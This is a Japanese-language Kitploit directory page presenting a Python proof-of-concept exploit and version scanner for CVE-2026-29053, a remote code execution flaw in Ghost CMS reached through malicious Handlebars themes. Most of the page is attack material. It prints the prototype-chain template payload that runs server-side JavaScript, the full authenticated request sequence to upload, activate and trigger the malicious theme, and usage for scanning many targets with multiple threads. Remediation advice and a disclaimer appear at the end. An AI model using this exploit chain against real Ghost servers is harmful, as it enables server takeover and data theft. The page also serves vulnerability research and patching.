Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-29053 — Ghost CMS 6.19.1 未満における、悪意ある Handlebars テーマテンプレートを介した認証済み RCE、CVE-2026-29053 の Python PoC およびバージョンスキャナー。 | Kitploit
ツール/GitHubGitHub/k3ystr0k3r/cve-2026-29053
脆弱性スキャナー脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテストリモートアクセスツールペイロード開発
GitHubk3ystr0k3r/cve-2026-29053

CVE-2026-29053

Ghost CMS 6.19.1 未満における、悪意ある Handlebars テーマテンプレートを介した認証済み RCE、CVE-2026-29053 の Python PoC およびバージョンスキャナー。

リポジトリを見る
1215時間32分前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-29053 - Ghost CMS < 6.19.0 - 悪意のあるテーマによる認証済みリモートコード実行

CVE-2026-29053は、Node.js上に構築されたGhostコンテンツ管理システムに影響を与えます。バージョン0.7.2から6.19.0がこの問題の影響を受けます。悪意のあるテーマがこの脆弱性を悪用し、Ghostを実行しているサーバー上で任意のコードを実行する可能性があります。この脆弱性の深刻度は高く、CVSSスコアは7.6です。この問題はバージョン6.19.1で修正されています。この脆弱性を悪用することに成功した攻撃者は、サーバーへの不正アクセスを取得し、潜在的にそれを制御下に置くことができます。その後、このアクセスを利用してデータを操作したり、機密情報を窃取したり、その他の悪意のある活動を行う可能性があります。影響を受ける製品/サービスは、Ghostの0.7.2から6.19.0までのすべてのバージョンです。このリスクを軽減するには、ユーザーはGhostのインストールをできるだけ早くバージョン6.19.1以降に更新する必要があります。これにより、脆弱性が修正され、脅威とならなくなります。現時点で更新が困難な場合は、この脆弱性に関する新たな展開を注意深く監視し、潜在的な攻撃から保護するために必要なセキュリティ対策を適用することを推奨します。このCVEは現在、CISAのKnown Exploited Vulnerabilities (KEV) カタログに掲載されていません。つまり、脅威アクターによる活発な悪用は確認されていません。ただし、ユーザーはこの脆弱性に関連する潜在的なリスクを防ぐために、システムの更新を優先すべきです。

CVE-2026-29053 のPython PoCです。これは、細工されたテーマがテンプレートレンダリング中に任意のJavaScriptを実行できることによって引き起こされる、Ghost CMSのリモートコード実行脆弱性です。

影響を受けるバージョン: Ghost 0.7.2 から 6.19.0 修正済み: Ghost 6.19.1 CWE: CWE-74 — 下流コンポーネントで使用される出力における特殊要素の中和の不備

Ghostのアドバイザリでは、この問題を悪意のあるテーマによる任意コード実行として説明しています。


脆弱性とは何か?

GhostのテーマはHandlebarsテンプレート (.hbs) を使用します。

細工されたテンプレートは、GhostがHandlebars式を処理する方法を悪用し、通常のテーマテンプレートからは到達できないはずのJavaScript機能にアクセスする可能性があります。

エクスプロイトの重要な部分は、テンプレート式です:

root@kitploit:~
{{#get "posts" filter="tags:{{page[?( ({__proto__:"".toString})["constructor"](https://github.com/k3ystr0k3r/cve-2026-29053/blob/main/%22%25PAYLOAD%25%22)() )]}}" limit="1"}}
{{/get}}

ペイロードは、悪意のあるテーマがパッケージ化される前にテンプレートに挿入されます。

生成されたテンプレートは、Ghost Admin APIを通じてアップロードされ、有効化されます。

その後Ghostが影響を受けるテンプレートをレンダリングすると、注入された式によってJavaScriptペイロードがGhostサーバープロセス内で実行されます。


PoCはこれらの各段階を直接実装しています。

認証

PoCはまず、認証済みのGhost Adminセッションを確立します。

関連するエンドポイントは次のとおりです:

root@kitploit:~
POST /ghost/api/admin/session/

PoCによって生成されるリクエストは、次と同等です:

root@kitploit:~
POST /ghost/api/admin/session/ HTTP/1.1
Host: TARGET
Accept: application/json
Content-Type: application/json
Origin: http://TARGET

{
  "username": "[email protected]",
  "password": "PASSWORD"
}

Ghostは認証済みセッションCookieを返します。

PoCはHTTP 201 を確認し、その後も同じ requests.Session() オブジェクトを使用して続行します。


テーマの作成

エクスプロイトは、最小限のGhostテーマを含むZIPアーカイブを作成します。

重要なファイルは次のとおりです:

root@kitploit:~
malicious-theme.zip
├── default.hbs
├── index.hbs
├── page-rce.hbs
├── page.hbs
├── post.hbs
└── package.json

悪意のあるテンプレートは次に書き込まれます:

root@kitploit:~
page-rce.hbs

PoCは、Pythonの zipfile モジュールを使用してアーカイブを完全にメモリ内で構築します。

生成される package.json は、アーカイブをGhostテーマとして識別します:

root@kitploit:~
{
  "name": "malicious-theme",
  "description": "Minimal Ghost theme for CVE-2026-29053 authorized lab reproduction",
  "version": "1.0.0",
  "engines": {
    "ghost": ">=5.0.0"
  },
  "license": "MIT"
}

悪意のあるテンプレート

テーマの脆弱な部分は、page-rce.hbs 内のHandlebars式です。

PoCは次を生成します:

root@kitploit:~
{{!< default}}

<main class="lab-page">
  <h1>CVE-2026-29053 trigger</h1>
  <p>This page renders the malicious theme template.</p>
</main>

{{#get "posts" filter="tags:{{page[?( ({__proto__:"".toString})["constructor"](https://github.com/k3ystr0k3r/cve-2026-29053/blob/main/%22%25PAYLOAD%25%22)() )]}}" limit="1"}}
{{/get}}

ペイロードは、テーマが圧縮される前に %PAYLOAD% に置換されます。

ペイロード

デフォルトのPoCは、コード実行の非破壊的な証明としてファイル書き込みペイロードを使用します。

次と同等のJavaScriptを生成します:

root@kitploit:~
var fs=process.getBuiltinModule('fs');
fs.writeFileSync(
    '/tmp/cve-2026-29053-rce.txt',
    'CVE-2026-29053 proof: /tmp/cve-2026-29053-rce.txt'
);
return 1

これは、ペイロードがGhost Node.jsプロセス内で実行され、Node.jsの機能にアクセスできることを示しています。

PoCには、ラボ環境向けのオプションのコールバックモードも含まれています。


テーマのアップロード

悪意のあるテーマが生成されると、PoCはそれを次に送信します:

root@kitploit:~
POST /ghost/api/admin/themes/upload/

リクエストはマルチパートフォームのアップロードです。

概念的には:

root@kitploit:~
POST /ghost/api/admin/themes/upload/ HTTP/1.1
Host: TARGET
Accept: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION

Content-Type: multipart/form-data; boundary=------------------------BOUNDARY

--------------------------BOUNDARY
Content-Disposition: form-data; name="file"; filename="malicious-theme.zip"
Content-Type: application/zip

[ZIP ARCHIVE]
--------------------------BOUNDARY--

アーカイブには、上記の悪意のある .hbs テンプレートが含まれています。

PoCはHTTP 200 を期待し、JSONレスポンスから返されたテーマ名を抽出します。


テーマの有効化

テーマをアップロードした後、PoCは次でそれを有効化します:

root@kitploit:~
PUT /ghost/api/admin/themes/THEME_NAME/activate/ HTTP/1.1
Host: TARGET
Accept: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION

有効化エンドポイントは動的に構築されます:

root@kitploit:~
/ghost/api/admin/themes/{theme_name}/activate/

GhostがHTTP 200 を返さない場合、エクスプロイトは停止します。


テンプレートのトリガー

次にPoCは公開ページを作成します:

root@kitploit:~
POST /ghost/api/admin/pages/ HTTP/1.1
Host: TARGET
Accept: application/json
Content-Type: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION

{
  "pages": [
    {
      "title": "rce",
      "slug": "rce",
      "status": "published",
      "html": "<p>rce</p>"
    }
  ]
}

コードはスラッグを使用します:

root@kitploit:~
/rce/

ページが既に存在する場合、代わりに既存のページを取得しようとします。

最終的なトリガーは単純に次です:

root@kitploit:~
GET /rce/ HTTP/1.1
Host: TARGET
Cookie: ghost-admin-api-session=SESSION

これにより、Ghostはアクティブなテーマをレンダリングします。

PoCは返されたHTMLを次についてチェックします:

root@kitploit:~
CVE-2026-29053 trigger

page-rce.hbs がレンダリングされたことを確認するためです。


なぜこれがRCEにつながるのか

重要な違いは、攻撃者が単にHTMLをページに注入しているだけではないということです。

悪意のある入力は、Ghost Handlebarsテーマテンプレートの一部になります。

テンプレートはその後、Ghostのサーバーサイドレンダリングシステムによって解釈されます。

細工された式は、プロトタイプ/コンストラクションチェーンを通じてJavaScript機能に到達します:

root@kitploit:~
__proto__
   ↓
toString
   ↓
constructor
   ↓
Function(...)
   ↓
attacker-controlled JavaScript

結果として得られるJavaScriptは、Ghostサーバープロセス内で実行されます。

PoCは、Nodeの組み込み fs モジュールにアクセスし、サーバー上にファイルを書き込むことでこれを実証しています。


生のリクエストフロー

HTTPインタラクションをまとめると:

root@kitploit:~
1. POST /ghost/api/admin/session/
   └── authenticate

2. POST /ghost/api/admin/themes/upload/
   └── upload malicious-theme.zip

3. PUT /ghost/api/admin/themes/<name>/activate/
   └── activate malicious theme

4. POST /ghost/api/admin/pages/
   └── create /rce/

5. GET /rce/
   └── render malicious page-rce.hbs
       └── Handlebars expression
           └── JavaScript execution
               └── OS-level impact

バージョンチェック

PoCにはスキャナも含まれています。

次をリクエストします:

root@kitploit:~
GET /ghost/api/admin/site/ HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0

レスポンスは次について解析されます:

root@kitploit:~
{
  "site": {
    "version": "6.19.0"
  }
}

次にPoCはバージョンを次と比較します:

root@kitploit:~
0.7.2 <= version <= 6.19.0

そして一致するバージョンを脆弱であると報告します。

公開されたアドバイザリでは、影響を受ける範囲を >= 0.7.2, < 6.19.1 と指定し、6.19.1 を修正バージョンとしています。


PoCの使用方法

ファイル書き込みの証明

root@kitploit:~
python3 exploit.py --target http://TARGET

デフォルトの証明パスは次のとおりです:

root@kitploit:~
/tmp/cve-2026-29053-rce.txt

これは次で変更できます:

root@kitploit:~
python3 exploit.py --target http://TARGET --proof-path /tmp/test.txt

既存のインストール

Ghostのセットアップが既に完了している場合:

root@kitploit:~
python3 exploit.py --target http://TARGET --skip-setup

認証情報は次を使用して指定できます:

root@kitploit:~
--email
--password

スキャナ

ターゲットはファイルから指定できます:

root@kitploit:~
python3 exploit.py --file targets.txt

スレッド数:

root@kitploit:~
python3 exploit.py --file targets.txt --threads 25

スキャナはGhost Adminサイトエンドポイントをチェックし、報告されたGhostバージョンを脆弱な範囲と比較します。


影響

エクスプロイトが成功すると、Ghostサーバープロセス内で任意のJavaScript実行が可能になります。

Ghostプロセスの権限と使用されるペイロードに応じて、これは次に影響を与える可能性があります:

  • 機密性
  • 完全性
  • 可用性

公開されたCVEレコードでは、この問題はネットワークから到達可能であるが、高い権限とユーザーインタラクションを必要とし、スコープが変更されると評価されています。


修復

Ghostを次にアップグレードしてください:

root@kitploit:~
6.19.1+

Ghostの脆弱性アドバイザリでは、6.19.1 を修正バージョンとして特定しています。

信頼できないテーマをインストールしないでください。


免責事項

このPoCは、脆弱性研究、許可されたペネトレーションテスト、および教育目的で提供されています。

ツールをダウンロード